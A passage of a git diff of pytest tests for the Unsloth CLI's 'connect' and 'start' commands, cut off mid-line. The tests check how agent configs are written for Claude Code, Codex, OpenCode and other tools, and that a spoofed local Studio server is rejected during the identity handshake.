"http://studio.example:8888") - monkeypatch.setattr( - inference, "find_studio_server", lambda *a, **k: "http://studio.example:8888" - ) - with pytest.raises(typer.Exit): - inference.connect_studio_server("m", hf_token = None, max_seq_length = 4096, load_in_4bit = False) - - -def test_connect_studio_server_falls_back_locally_on_default_discovery(monkeypatch): - # Opportunistic local discovery (no UNSLOTH_STUDIO_URL): if the loopback - # server can't be verified, fall back to a local load rather than erroring. - import unsloth_cli._inference as inference - - monkeypatch.delenv("UNSLOTH_STUDIO_URL", raising = False) - monkeypatch.setattr(inference, "find_studio_server", lambda *a, **k: "http://127.0.0.1:8888") - monkeypatch.setattr(inference, "verify_studio_identity", lambda *a, **k: False) - assert ( - inference.connect_studio_server("m", hf_token = None, max_seq_length = 4096, load_in_4bit = False) - is None - ) - - -def test_connect_unverified_loopback_without_cached_key_refuses_to_mint( - fake_studio, tmp_path, monkeypatch -): - # With no saved key, the next step would auto-mint; an unverified loopback - # server (port squatter) must be refused, with nothing sent. - monkeypatch.setattr(connect, "verify_studio_identity", lambda base: False) - result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - assert result.exit_code == 1 - assert "--api-key" in result.output - assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio) # never minted - - -def test_connect_replays_saved_key_without_identity_check(fake_studio, tmp_path, monkeypatch): - # A "saved" key (e.g. for an SSH-tunnelled Studio the handshake can't match) - # replays on keyless runs without the handshake, scoped to its own base. - cache = tmp_path / "agent_api_key.json" - cache.write_text(json.dumps({"servers": {BASE: {"saved": ["sk-unsloth-deadbeefdeadbeef"]}}})) - monkeypatch.setattr(connect, "verify_studio_identity", lambda base: False) - result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - assert result.exit_code == 0, result.output - _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef") - assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio) # reused, not minted - - -def test_connect_minted_cache_requires_identity_check(fake_studio, tmp_path, monkeypatch): - # A "minted" key is NOT replayed to an unverified loopback server: minting and - # minted-key replay both sit behind the handshake, so a squatter can't grab it. - cache = tmp_path / "agent_api_key.json" - cache.write_text(json.dumps({"servers": {BASE: {"minted": ["sk-unsloth-feedfacefeedface"]}}})) - monkeypatch.setattr(connect, "verify_studio_identity", lambda base: False) - result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - assert result.exit_code == 1 - assert "--api-key" in result.output - assert not any(c[1].endswith("/v1/models") for c in fake_studio) # minted key never sent - - -def test_connect_explicit_key_skips_identity_check(fake_studio, monkeypatch): - # An explicit key is the user's deliberate choice, so it does not require - # the automatic identity handshake. - monkeypatch.setattr(connect, "verify_studio_identity", lambda base: False) - result = CliRunner().invoke( - connect.connect_app, - ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"], - ) - assert result.exit_code == 0, result.output - _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef") - - -def _serve_identity(proof_for): - """Start a localhost HTTP server answering /api/auth/identity with - proof_for(nonce_bytes). Returns (base_url, shutdown).""" - import base64 - import threading - from http.server import BaseHTTPRequestHandler, HTTPServer - from urllib.parse import parse_qs, urlparse - - class Handler(BaseHTTPRequestHandler): - def do_GET(self): - parsed = urlparse(self.path) - if parsed.path != "/api/auth/identity": - self.send_response(404) - self.end_headers() - return - nonce = base64.urlsafe_b64decode(parse_qs(parsed.query)["nonce"][0]) - host, port = self.server.server_address[0], self.server.server_address[1] - body = json.dumps({"proof": proof_for(nonce, host, port)}).encode() - self.send_response(200) - self.send_header("Content-Type", "application/json") - self.end_headers() - self.wfile.write(body) - - def log_message(self, *a): - pass - - server = HTTPServer(("127.0.0.1", 0), Handler) - threading.Thread(target = server.serve_forever, daemon = True).start() - base = f"http://127.0.0.1:{server.server_address[1]}" - return base, server.shutdown - - -def test_verify_studio_identity_end_to_end(tmp_path, monkeypatch): - # Real crypto end to end: verify_studio_identity reads the install secret from - # an isolated DB; a "good" server proves the same secret, a spoofing one can't. - import unsloth_cli._inference as inference - - inference.ensure_studio_backend_path() - try: - from studio.backend.auth import storage - except Exception as exc: # backend not importable here (e.g. missing deps) - pytest.skip(f"studio backend not importable: {exc}") - - monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db") - monkeypatch.setattr(storage, "_identity_secret_cache", None) - - good = lambda nonce, host, port: storage.compute_identity_proof( - nonce, host, port - ) # real secret - bad = lambda nonce, host, port: "00" * 32 # spoofer without the secret - base_ok, stop_ok = _serve_identity(good) - base_bad, stop_bad = _serve_identity(bad) - try: - assert inference.verify_studio_identity(base_ok) is True - assert inference.verify_studio_identity(base_bad) is False - finally: - stop_ok() - stop_bad() - - -def _serve_redirect(target): - """Start a localhost server that 302-redirects every GET to target+path.""" - import threading - from http.server import BaseHTTPRequestHandler, HTTPServer - - class Handler(BaseHTTPRequestHandler): - def do_GET(self): - self.send_response(302) - self.send_header("Location", target + self.path) - self.end_headers() - - def log_message(self, *a): - pass - - server = HTTPServer(("127.0.0.1", 0), Handler) - threading.Thread(target = server.serve_forever, daemon = True).start() - base = f"http://127.0.0.1:{server.server_address[1]}" - return base, server.shutdown - - -def test_verify_studio_identity_rejects_redirect(tmp_path, monkeypatch): - # A squatter could 302 /api/auth/identity to the real Studio and relay its - # proof; redirects must be refused so the squatter's base isn't accepted. - import unsloth_cli._inference as inference - - inference.ensure_studio_backend_path() - try: - from studio.backend.auth import storage - except Exception as exc: - pytest.skip(f"studio backend not importable: {exc}") - - monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db") - monkeypatch.setattr(storage, "_identity_secret_cache", None) - - real_base, stop_real = _serve_identity( - lambda nonce, host, port: storage.compute_identity_proof(nonce, host, port) - ) - squatter_base, stop_squatter = _serve_redirect(real_base) - try: - assert inference.verify_studio_identity(real_base) is True # direct: ok - assert inference.verify_studio_identity(squatter_base) is False # relayed: refused - finally: - stop_real() - stop_squatter() - - -def test_verify_studio_identity_rejects_relayed_proof(tmp_path, monkeypatch): - # A squatter that proxies the nonce to the real Studio on another port gets a - # proof bound to *that* port; the client expects one bound to the port it - # connected to, so the relayed proof is rejected. - import unsloth_cli._inference as inference - - inference.ensure_studio_backend_path() - try: - from studio.backend.auth import storage - except Exception as exc: - pytest.skip(f"studio backend not importable: {exc}") - - monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db") - monkeypatch.setattr(storage, "_identity_secret_cache", None) - - real_base, stop_real = _serve_identity( - lambda nonce, host, port: storage.compute_identity_proof(nonce, host, port) - ) - real_port = int(real_base.rsplit(":", 1)[1]) - # The squatter answers on its own port but returns the proof for the real port. - squatter_base, stop_squatter = _serve_identity( - lambda nonce, host, port: storage.compute_identity_proof(nonce, host, real_port) - ) - try: - assert inference.verify_studio_identity(real_base) is True - assert inference.verify_studio_identity(squatter_base) is False - finally: - stop_real() - stop_squatter() - - -@pytest.mark.parametrize( - "url, loopback", - [ - ("http://127.0.0.1:8888", True), - ("http://localhost:8888", True), - ("http://[::1]:8888", True), - ("http://127.0.0.5:9001", True), # SSH tunnels can land anywhere in 127/8 - ("http://0.0.0.0:8888", False), - ("http://10.0.0.5:8888", False), - ("http://studio.evil.example:8888", False), - ("https://studio.example.com", False), - ], -) -def test_is_loopback_url(url, loopback): - assert connect.is_loopback_url(url) is loopback - - -def test_connect_no_studio_errors(fake_studio, monkeypatch): - monkeypatch.setattr(connect, "find_studio_server", lambda: None) - result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - assert result.exit_code == 1 - assert "No running Studio server" in result.output - - -def test_connect_explicit_api_key_skips_mint(fake_studio): - result = CliRunner().invoke( - connect.connect_app, - ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"], - ) - assert result.exit_code == 0, result.output - _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef") - assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio) - - -# ── OpenClaw (Anthropic /v1/messages) ──────────────────────────────── - - -def test_write_openclaw_config_fresh(tmp_path, monkeypatch): - path = tmp_path / "openclaw.json" - monkeypatch.setattr(connect, "openclaw_config_path", lambda: path) - connect.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL) - config = json.loads(path.read_text()) - provider = config["models"]["providers"]["unsloth"] - assert provider["baseUrl"] == f"{BASE}/v1" - assert provider["apiKey"] == "sk-unsloth-abc" - assert provider["api"] == "openai-completions" - assert provider["models"] == [ - {"id": MODEL["id"], "name": MODEL["id"], "contextWindow": MODEL["context_length"]} - ] - # The default model must be pinned or OpenClaw has nothing active. - assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}" - assert config["gateway"]["mode"] == "local" - assert config["gateway"]["auth"]["mode"] == "none" # unauth loopback gateway - if os.name != "nt": # the file holds an API key - assert path.stat().st_mode & 0o777 == 0o600 - - -def test_write_openclaw_config_preserves_and_idempotent(tmp_path, monkeypatch): - path = tmp_path / "openclaw.json" - monkeypatch.setattr(connect, "openclaw_config_path", lambda: path) - path.write_text( - json.dumps( - { - "theme": "dark", - "agents": {"defaults": {"temperature": 0.5}}, - "models": {"mode": "replace", "providers": {"openrouter": {"baseUrl": "x"}}}, - } - ) - ) - connect.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL) - config = json.loads(path.read_text()) - assert config["theme"] == "dark" - assert config["agents"]["defaults"]["temperature"] == 0.5 # other agent defaults kept - assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}" - assert config["models"]["mode"] == "replace" # user's mode is left as-is - assert config["models"]["providers"]["openrouter"]["baseUrl"] == "x" - assert config["models"]["providers"]["unsloth"]["baseUrl"] == f"{BASE}/v1" - before = path.read_text() - connect.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL) - assert path.read_text() == before - - -def test_write_openclaw_config_corrupt_left_alone(tmp_path, monkeypatch, capsys): - path = tmp_path / "openclaw.json" - monkeypatch.setattr(connect, "openclaw_config_path", lambda: path) - path.write_text("{not json") - connect.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL) - assert path.read_text() == "{not json" - assert "couldn't parse" in capsys.readouterr().err - - -def test_connect_openclaw_no_launch(fake_studio, tmp_path, monkeypatch): - path = tmp_path / "openclaw.json" - monkeypatch.setattr(connect, "openclaw_config_path", lambda: path) - result = CliRunner().invoke(connect.connect_app, ["openclaw", "--no-launch"]) - assert result.exit_code == 0, result.output - assert "openclaw" in result.output - assert "export" not in result.output # key lives in the config, not the env - config = json.loads(path.read_text()) - assert config["models"]["providers"]["unsloth"]["apiKey"] == "sk-unsloth-feedfacefeedface" - assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}" - # OpenAI /v1/chat/completions works on either backend — no GGUF gate. - assert not any(c[1].endswith("/api/inference/status") for c in fake_studio) - - -# ── OpenCode (OpenAI /v1/chat/completions) ─────────────────────────── - - -def test_write_opencode_config_fresh(tmp_path, monkeypatch): - path = tmp_path / "opencode.json" - monkeypatch.setattr(connect, "opencode_config_path", lambda: path) - connect.write_opencode_config(BASE, "sk-unsloth-abc", MODEL) - config = json.loads(path.read_text()) - provider = config["provider"]["unsloth"] - assert provider["npm"] == "@ai-sdk/openai-compatible" - assert provider["options"] == {"baseURL": f"{BASE}/v1", "apiKey": "sk-unsloth-abc"} - assert provider["models"] == {MODEL["id"]: {"name": MODEL["id"]}} - assert config["model"] == f"unsloth/{MODEL['id']}" - - -def test_write_opencode_config_preserves_and_idempotent(tmp_path, monkeypatch): - path = tmp_path / "opencode.json" - monkeypatch.setattr(connect, "opencode_config_path", lambda: path) - path.write_text( - json.dumps({"theme": "tokyonight", "provider": {"anthropic": {"name": "Anthropic"}}}) - ) - connect.write_opencode_config(BASE, "sk-unsloth-abc", MODEL) - config = json.loads(path.read_text()) - assert config["theme"] == "tokyonight" - assert config["provider"]["anthropic"]["name"] == "Anthropic" - assert config["provider"]["unsloth"]["options"]["baseURL"] == f"{BASE}/v1" - before = path.read_text() - connect.write_opencode_config(BASE, "sk-unsloth-abc", MODEL) - assert path.read_text() == before - - -def test_connect_opencode_no_launch(fake_studio, tmp_path, monkeypatch): - path = tmp_path / "opencode.json" - monkeypatch.setattr(connect, "opencode_config_path", lambda: path) - result = CliRunner().invoke(connect.connect_app, ["opencode", "--no-launch"]) - assert result.exit_code == 0, result.output - assert "opencode" in result.output - config = json.loads(path.read_text()) - assert config["provider"]["unsloth"]["options"]["apiKey"] == "sk-unsloth-feedfacefeedface" - assert config["model"] == f"unsloth/{MODEL['id']}" - assert not any(c[1].endswith("/api/inference/status") for c in fake_studio) - - -# ── Hermes (OpenAI /v1/chat/completions, key via env) ──────────────── - - -@pytest.fixture() -def hermes_config(tmp_path, monkeypatch): - path = tmp_path / "config.yaml" - monkeypatch.setattr(connect, "hermes_config_path", lambda: path) - return path - - -def test_write_hermes_config_fresh(hermes_config): - yaml = pytest.importorskip("yaml") - connect.write_hermes_config(BASE, MODEL) - config = yaml.safe_load(hermes_config.read_text()) - # Hermes only honors the key for a *named* custom provider, so the endpoint - # is registered under providers.* and model.provider points at it. - assert config["model"]["provider"] == "custom:unsloth" - assert config["model"]["default"] == MODEL["id"] - assert config["model"]["api_mode"] == "openai" - provider = config["providers"]["unsloth"] - assert provider["base_url"] == f"{BASE}/v1" - assert provider["api_mode"] == "openai" - assert provider["key_env"] == "UNSLOTH_API_KEY" - # The key is resolved from the launch env, never written to disk. - assert "sk-unsloth" not in hermes_config.read_text() - - -def test_write_hermes_config_preserves_and_idempotent(hermes_config): - yaml = pytest.importorskip("yaml") - hermes_config.write_text( - yaml.safe_dump( - { - "terminal": {"backend": "local"}, - "model": {"temperature": 0.7}, - "providers": {"openrouter": {"base_url": "https://openrouter.ai/api/v1"}}, - } - ) - ) - connect.write_hermes_config(BASE, MODEL) - config = yaml.safe_load(hermes_config.read_text()) - assert config["terminal"] == {"backend": "local"} # unrelated sections kept - assert config["model"]["temperature"] == 0.7 # unrelated model keys kept - assert config["model"]["provider"] == "custom:unsloth" - assert config["providers"]["openrouter"]["base_url"] == "https://openrouter.ai/api/v1" - assert config["providers"]["unsloth"]["base_url"] == f"{BASE}/v1" - before = hermes_config.read_text() - connect.write_hermes_config(BASE, MODEL) - assert hermes_config.read_text() == before - - -def test_write_hermes_config_preserves_non_mapping_file(hermes_config, capsys): - pytest.importorskip("yaml") - original = "- just\n- a\n- list\n" # valid YAML, but not a mapping - hermes_config.write_text(original) - connect.write_hermes_config(BASE, MODEL) - assert hermes_config.read_text() == original # user-managed file left untouched - assert "couldn't parse" in capsys.readouterr().err - - -def test_connect_hermes_no_launch(fake_studio, hermes_config): - yaml = pytest.importorskip("yaml") - result = CliRunner().invoke(connect.connect_app, ["hermes", "--no-launch"]) - assert result.exit_code == 0, result.output - _assert_env_set(result.output, "UNSLOTH_API_KEY", "sk-unsloth-feedfacefeedface") - assert "hermes" in result.output - config = yaml.safe_load(hermes_config.read_text()) - assert config["model"]["provider"] == "custom:unsloth" - assert config["providers"]["unsloth"]["base_url"] == f"{BASE}/v1" - assert config["model"]["default"] == MODEL["id"] - assert not any(c[1].endswith("/api/inference/status") for c in fake_studio) diff --git a/unsloth_cli/tests/test_start.py b/unsloth_cli/tests/test_start.py new file mode 100644 index 0000000000..a6a092a17c --- /dev/null +++ b/unsloth_cli/tests/test_start.py @@ -0,0 +1,1848 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Tests for `unsloth start` — config merging and launch env, no network.""" + +from __future__ import annotations + +import json +import os +import shlex +import sys +import urllib.error +from pathlib import Path +from types import SimpleNamespace + +_REPO_ROOT = Path(__file__).resolve().parents[2] +if str(_REPO_ROOT) not in sys.path: + sys.path.insert(0, str(_REPO_ROOT)) + + +import pytest +from typer.testing import CliRunner + +import unsloth_cli.commands.start as start + +BASE = "http://127.0.0.1:8888" +MODEL = {"id": "unsloth/gemma-4-26B-A4B-it-GGUF", "context_length": 131072} + + +# --no-launch prints shell setup as POSIX (export/unset) on Unix/WSL and +# PowerShell ($env:/Remove-Item) on native Windows; assert the host's form. +def _assert_env_set(output: str, name: str, value: str) -> None: + needle = f'$env:{name} = "{value}"' if os.name == "nt" else f"export {name}={value}" + assert needle in output, f"{needle!r} not found in:\n{output}" + + +def _assert_env_unset(output: str, name: str) -> None: + needle = f"Remove-Item Env:{name}" if os.name == "nt" else f"unset {name}" + assert needle in output, f"{needle!r} not found in:\n{output}" + + +def _launch_command(output: str) -> list: + # The --no-launch recipe ends with a self-contained one-liner: inline NAME=value + # assignments, then the command. Return just the command argv. + last = [ln for ln in output.splitlines() if ln.strip()][-1] + parts = shlex.split(last) + for i, part in enumerate(parts): + name = part.partition("=")[0] + if "=" not in part or not name.replace("_", "").isalnum(): + return parts[i:] + return [] + + +def _fake_claude(monkeypatch, version_output: str) -> None: + monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude") + monkeypatch.setattr( + start.subprocess, + "run", + lambda *args, **kwargs: SimpleNamespace(stdout = version_output), + ) + + +def test_claude_flags_passed_to_supported_claude(monkeypatch): + _fake_claude(monkeypatch, "2.1.98 (Claude Code)\n") + assert start._claude_flags() == [ + "--exclude-dynamic-system-prompt-sections", + "--settings", + start._CLAUDE_SETTINGS_OVERLAY, + ] + + +def test_claude_flags_skipped_on_old_claude(monkeypatch): + _fake_claude(monkeypatch, "2.0.14 (Claude Code)\n") + assert start._claude_flags() == [] + + +def test_claude_flags_skipped_on_unparseable_version(monkeypatch): + _fake_claude(monkeypatch, "weird build string\n") + assert start._claude_flags() == [] + + +def test_claude_flags_detected_when_version_not_first_token(monkeypatch): + # The X.Y.Z is pulled from anywhere in the output, so a format change (version not + # the first token) doesn't silently drop the optimization flags. + _fake_claude(monkeypatch, "claude version 2.1.98\n") + assert start._claude_flags() == [ + "--exclude-dynamic-system-prompt-sections", + "--settings", + start._CLAUDE_SETTINGS_OVERLAY, + ] + + +def test_install_agent_prompts_then_installs(monkeypatch): + # TTY + yes: run the documented install command, then re-resolve the now-present binary. + monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True)) + monkeypatch.setattr(start.typer, "confirm", lambda *a, **k: True) + ran = [] + monkeypatch.setattr( + start.subprocess, + "run", + lambda command, *a, **k: ran.append(command) or SimpleNamespace(returncode = 0), + ) + # _install_agent only re-resolves after installing (the pre-install check is the + # caller's job), so `which` reports the now-present binary. + monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/codex") + executable = start._install_agent("codex", "npm install -g @openai/codex") + assert executable == "/usr/local/bin/codex" + assert ran == [["/bin/sh", "-c", "npm install -g @openai/codex"]] + + +def test_install_agent_declined_returns_none(monkeypatch): + # TTY + no: never runs anything; caller falls back to the print-hint failure. + monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True)) + monkeypatch.setattr(start.typer, "confirm", lambda *a, **k: False) + monkeypatch.setattr(start.shutil, "which", lambda _: None) + monkeypatch.setattr( + start.subprocess, "run", lambda *a, **k: pytest.fail("should not install when declined") + ) + assert start._install_agent("codex", "npm install -g @openai/codex") is None + + +def test_install_agent_non_interactive_returns_none(monkeypatch): + # No TTY (piped stdin): cannot prompt, so don't install; return None silently. + monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: False)) + monkeypatch.setattr( + start.subprocess, "run", lambda *a, **k: pytest.fail("should not install without a TTY") + ) + assert start._install_agent("codex", "npm install -g @openai/codex") is None + + +def _parse_toml(text: str) -> dict: + tomllib = pytest.importorskip("tomllib") + return tomllib.loads(text) + + +def test_merge_codex_config_fresh(): + merged = start._merge_codex_config("", BASE) + parsed = _parse_toml(merged) + assert parsed["oss_provider"] == "unsloth_api" + provider = parsed["model_providers"]["unsloth_api"] + assert provider["base_url"] == f"{BASE}/v1" + assert provider["wire_api"] == "responses" + assert provider["requires_openai_auth"] is False + + +def test_merge_codex_config_replaces_stale_block(): + existing = ( + 'model = "gpt-5"\n' + "\n" + "[model_providers.unsloth_api]\n" + 'base_url = "http://old-host:9999/v1"\n' + 'wire_api = "chat"\n' + "\n" + "[model_providers.unsloth_api.http_headers]\n" + 'x-old = "1"\n' + "\n" + "[model_providers.ollama]\n" + 'base_url = "http://localhost:11434/v1"\n' + ) + merged = start._merge_codex_config(existing, BASE) + parsed = _parse_toml(merged) + assert parsed["model"] == "gpt-5" + assert parsed["model_providers"]["unsloth_api"]["base_url"] == f"{BASE}/v1" + assert parsed["model_providers"]["unsloth_api"]["wire_api"] == "responses" + assert "http_headers" not in parsed["model_providers"]["unsloth_api"] + assert parsed["model_providers"]["ollama"]["base_url"] == "http://localhost:11434/v1" + assert start._merge_codex_config(merged, BASE) == merged + + +def test_merge_codex_config_keeps_user_oss_provider(): + merged = start._merge_codex_config('oss_provider = "ollama"\n', BASE) + assert _parse_toml(merged)["oss_provider"] == "ollama" + + +def test_write_codex_config_profile(tmp_path): + start.write_codex_config(BASE, MODEL, tmp_path) + profile = _parse_toml((tmp_path / "unsloth_api.config.toml").read_text()) + assert profile["oss_provider"] == "unsloth_api" + assert profile["model_provider"] == "unsloth_api" + assert profile["model"] == MODEL["id"] + assert profile["model_context_window"] == 131072 + config = _parse_toml((tmp_path / "config.toml").read_text()) + assert config["model_providers"]["unsloth_api"]["env_key"] == "UNSLOTH_STUDIO_AUTH_TOKEN" + + +@pytest.fixture() +def fake_studio(tmp_path, monkeypatch): + calls = [] + state = {"models": [MODEL]} + + def http_json( + method, + url, + token, + payload = None, + timeout = 30, + error = None, + ): + calls.append((method, url, payload)) + if url.endswith("/v1/models"): + return {"object": "list", "data": state["models"]} + if url.endswith("/api/inference/status"): + return {"is_gguf": True, "model_identifier": state["models"][0]["id"]} + if url.endswith("/api/auth/api-keys"): + return {"key": "sk-unsloth-feedfacefeedface"} + if url.endswith("/api/inference/load"): + state["models"] = [{"id": payload["model_path"], "context_length": 4096}] + return {} + raise AssertionError(f"unexpected request: {method} {url}") + + monkeypatch.setattr(start, "find_studio_server", lambda: BASE) + # Identity handshake has its own tests; trust the loopback server here. + monkeypatch.setattr(start, "verify_studio_identity", lambda base: True) + # _studio_token / api-keys are faked so the mint flow stays offline. + monkeypatch.setattr(start, "_studio_token", lambda: "jwt-token") + monkeypatch.setattr(start, "_http_json", http_json) + monkeypatch.setattr(start, "_key_cache_path", lambda: tmp_path / "agent_api_key.json") + # --no-launch session configs land under tmp instead of the real Unsloth dir. + monkeypatch.setattr(start, "_agents_config_root", lambda: tmp_path / "agents") + # No `claude` on PATH, so _claude_flags never probes the real binary. + monkeypatch.setattr(start.shutil, "which", lambda _: None) + monkeypatch.delenv("UNSLOTH_API_KEY", raising = False) + return calls + + +def test_connect_claude_no_launch(fake_studio): + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 0, result.output + _assert_env_unset(result.output, "ANTHROPIC_API_KEY") + _assert_env_unset(result.output, "CLAUDE_CODE_OAUTH_TOKEN") + _assert_env_set(result.output, "ANTHROPIC_BASE_URL", BASE) + _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface") + _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"]) + _assert_env_set(result.output, "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC", "1") + _assert_env_set(result.output, "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS", "1") + # Suppress the full-screen TUI redraw so a bursty local server doesn't flicker. + _assert_env_set(result.output, "CLAUDE_CODE_NO_FLICKER", "1") + # Attribution header is suppressed for the session via env + --settings, never + # by writing the user's ~/.claude/settings.json. + _assert_env_set(result.output, "CLAUDE_CODE_ATTRIBUTION_HEADER", "0") + # Auto-compact window is sized to the loaded model's real context length so the + # session compacts before it overflows the local server's (much smaller) window, + # and compaction is forced at 90% of it for headroom. + _assert_env_set(result.output, "CLAUDE_CODE_AUTO_COMPACT_WINDOW", str(MODEL["context_length"])) + _assert_env_set(result.output, "CLAUDE_AUTOCOMPACT_PCT_OVERRIDE", "90") + assert f"claude --model {MODEL['id']} --exclude-dynamic-system-prompt-sections" in result.output + # Overlay is passed inline (session-only), not a path into the user's ~/.claude. + assert "--settings" in result.output + assert ".claude/settings.json" not in result.output + + +def test_connect_claude_compact_window_omitted_without_context(fake_studio, monkeypatch): + # A model that doesn't report a context length -> leave Claude's default window + # rather than guessing one. + monkeypatch.setattr(start, "_resolve_model", lambda *a, **k: {"id": "local-model"}) + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 0, result.output + assert "CLAUDE_CODE_AUTO_COMPACT_WINDOW" not in result.output + assert "CLAUDE_AUTOCOMPACT_PCT_OVERRIDE" not in result.output + + +def test_connect_claude_launch_scrubs_conflicting_auth_env(fake_studio, monkeypatch): + captured = {} + monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-anthropic-stale") + monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "oauth-stale") + monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude") + monkeypatch.setattr(start, "_claude_flags", lambda: []) + + def run(command, env): + captured["command"] = command + captured["env"] = env + return SimpleNamespace(returncode = 0) + + monkeypatch.setattr(start.subprocess, "run", run) + result = CliRunner().invoke(start.start_app, ["claude"]) + + assert result.exit_code == 0, result.output + assert captured["command"] == ["/usr/local/bin/claude", "--model", MODEL["id"]] + assert "ANTHROPIC_API_KEY" not in captured["env"] + assert "CLAUDE_CODE_OAUTH_TOKEN" not in captured["env"] + assert captured["env"]["ANTHROPIC_AUTH_TOKEN"] == "sk-unsloth-feedfacefeedface" + assert captured["env"]["ANTHROPIC_BASE_URL"] == BASE + assert captured["env"]["ANTHROPIC_MODEL"] == MODEL["id"] + assert captured["env"]["CLAUDE_CODE_ATTRIBUTION_HEADER"] == "0" + + +@pytest.mark.skipif( + os.name == "nt", + reason = "WSL-from-Linux scenario (calling a Windows agent .exe from inside WSL); " + "os.name is 'posix' under WSL, so this path can't run on a native Windows runner.", +) +def test_connect_claude_windows_shim_from_wsl_bridges_env(fake_studio, monkeypatch): + captured = {} + monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu") + monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-anthropic-stale") + monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "oauth-stale") + monkeypatch.setattr( + start.shutil, "which", lambda _: "/mnt/c/Users/samle/AppData/Roaming/npm/claude" + ) + monkeypatch.setattr(start, "_claude_flags", lambda: []) + + def run(command, env): + captured["command"] = command + captured["env"] = env + return SimpleNamespace(returncode = 0) + + monkeypatch.setattr(start.subprocess, "run", run) + result = CliRunner().invoke(start.start_app, ["claude"]) + + assert result.exit_code == 0, result.output + assert captured["command"] == [ + "/mnt/c/Users/samle/AppData/Roaming/npm/claude", + "--model", + MODEL["id"], + ] + assert captured["env"]["ANTHROPIC_API_KEY"] == "" + assert captured["env"]["CLAUDE_CODE_OAUTH_TOKEN"] == "" + assert captured["env"]["ANTHROPIC_AUTH_TOKEN"] == "sk-unsloth-feedfacefeedface" + assert captured["env"]["ANTHROPIC_BASE_URL"] == BASE + assert captured["env"]["ANTHROPIC_MODEL"] == MODEL["id"] + for name in ( + "ANTHROPIC_AUTH_TOKEN", + "ANTHROPIC_BASE_URL", + "ANTHROPIC_MODEL", + "ANTHROPIC_API_KEY", + "CLAUDE_CODE_OAUTH_TOKEN", + ): + assert name in captured["env"]["WSLENV"].split(":") + + +@pytest.mark.skipif( + os.name == "nt", + reason = "WSL-from-Linux scenario (calling a Windows agent .exe from inside WSL); " + "os.name is 'posix' under WSL, so this path can't run on a native Windows runner.", +) +def test_connect_claude_no_launch_windows_shim_from_wsl_prints_wslenv(fake_studio, monkeypatch): + monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu") + monkeypatch.setattr( + start.shutil, "which", lambda _: "/mnt/c/Users/samle/AppData/Roaming/npm/claude" + ) + + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + + assert result.exit_code == 0, result.output + assert "export ANTHROPIC_API_KEY=" in result.output + assert "export CLAUDE_CODE_OAUTH_TOKEN=" in result.output + assert "export WSLENV=" in result.output + assert "ANTHROPIC_AUTH_TOKEN" in result.output + assert "CLAUDE_CODE_OAUTH_TOKEN" in result.output + + +def test_connect_codex_no_launch(fake_studio, tmp_path): + result = CliRunner().invoke(start.start_app, ["codex", "--no-launch"]) + assert result.exit_code == 0, result.output + _assert_env_set(result.output, "UNSLOTH_STUDIO_AUTH_TOKEN", "sk-unsloth-feedfacefeedface") + assert "codex --oss --profile unsloth_api" in result.output + # Config lands in the session-scoped CODEX_HOME, not the user's ~/.codex. + home = tmp_path / "agents" / "codex" + _assert_env_set(result.output, "CODEX_HOME", str(home)) + assert (home / "config.toml").exists() + assert (home / "unsloth_api.config.toml").exists() + + +def test_connect_codex_launch_uses_ephemeral_home(fake_studio, monkeypatch): + # Launch mode writes config to a throwaway temp CODEX_HOME and removes it after + # the agent exits; the user's real ~/.codex is never the target. + captured = {} + monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/codex") + + def run(command, env): + captured["home"] = env["CODEX_HOME"] + captured["config_present"] = (Path(env["CODEX_HOME"]) / "config.toml").exists() + return SimpleNamespace(returncode = 0) + + monkeypatch.setattr(start.subprocess, "run", run) + result = CliRunner().invoke(start.start_app, ["codex"]) + assert result.exit_code == 0, result.output + home = Path(captured["home"]) + assert captured["config_present"] # config existed while codex ran + assert "unsloth-codex-" in home.name # an ephemeral 